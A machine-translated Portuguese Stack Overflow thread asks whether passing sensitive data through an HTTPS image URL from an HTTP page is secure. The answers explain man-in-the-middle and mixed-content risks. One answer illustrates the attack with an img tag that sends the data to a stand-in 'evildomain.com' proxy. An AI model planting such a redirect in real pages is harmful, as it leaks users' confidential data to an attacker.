Pergunta

Eu tenho um script de servidor para o qual preciso passar dados do navegador sem recarregar a página (também conhecido como ajax).Os dados são confidenciais, portanto devem ser enviados via https.A página, entretanto, está na camada http.Devido à mesma restrição de domínio/protocolo, o navegador não permite isso.

Estou pensando em enganar um pouco o sistema criando tags de imagem dinamicamente e chamando o script usando a tag src como:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

Gostaria de saber se isso realmente será criptografado corretamente.

Foi útil?

Solução

O problema é que, se a página em si é apenas HTTP, você será suscetível a um homem no ataque intermediário. Um invasor pode simplesmente modificar o script na página enviada pelo HTTP para que ele use:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />

O usuário não será o Wiser. Para contornar isso, você também precisa servir a página sobre HTTPs - que resolve ordenadamente seu outro problema ao mesmo tempo.

(Essa é exatamente a mesma razão pela qual os formulários de login devem estar nas páginas HTTPS, em vez de apenas a ação do formulário HTTPS).

Outras dicas

Sim e não.

A parte do endereço do servidor da URL obviamente não é criptografada, pois é usada para configurar a conexão.

Todo o resto é criptografado ao ser enviado via conexão HTTPS. Mas qualquer pessoa que visualize a fonte obviamente poderá ver os dados sendo publicados.

Também menciona que alguns navegadores não exibirão (ou avisarão o usuário antes de exibir) Páginas HTML (HTTP vs. HTTPS). Em alguns casos, isso pode não funcionar porque o usuário seleciona para bloqueá -lo.

Uma possível alternativa à técnica de imagem (cuja desvantagem, como mencionado por outros, é que o conteúdo em modo misto não é tratado bem por alguns navegadores) seria por SSL.

Qualquer um dos métodos resultará na ocorrência de criptografia e ambos ainda serão vulneráveis ​​a ataques man in the middle.

Licenciado em: CC-BY-SA com atribuição
Não afiliado a StackOverflow
scroll top